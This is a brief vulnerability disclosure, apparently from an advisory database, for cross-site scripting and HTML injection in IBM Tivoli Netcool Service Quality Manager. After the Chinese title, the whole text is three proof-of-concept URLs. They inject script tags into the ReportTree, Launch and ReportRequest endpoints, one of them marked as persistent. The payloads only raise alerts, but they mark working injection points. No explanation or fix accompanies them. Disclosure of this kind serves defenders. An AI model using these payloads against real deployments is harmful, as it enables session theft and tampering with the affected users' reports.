IBM Tivoli Netcool Service Quality Manager跨站脚本及HTML代码注入漏洞

http://server/<document root>/ReportTree?action=generatedreportresults&elementid="><SCRIPT>alert("Nonpersistant XSS");</SCRIPT><!--&date=0000000000000 http://server/<document root>/Launch?jnlpname=="><SCRIPT>alert("NonPersistant XSS");</SCRIPT> http://server/<document_root>/ReportRequest?dateformat=dd%2FMM%2Fyyyy&reporttitle=some_title&reportID=some_stuff&version=0&treesrc=&treetitle=&p_wstring=&p_dataperiod=none%3A%23%3Araw&startdate=01%2F01%2F2008&reporttype=offline&%3Atasklabel=<SCRIPT>alert(Persistant XSS!);</SCRIPT>&none_agg_specified=false&windowtype=main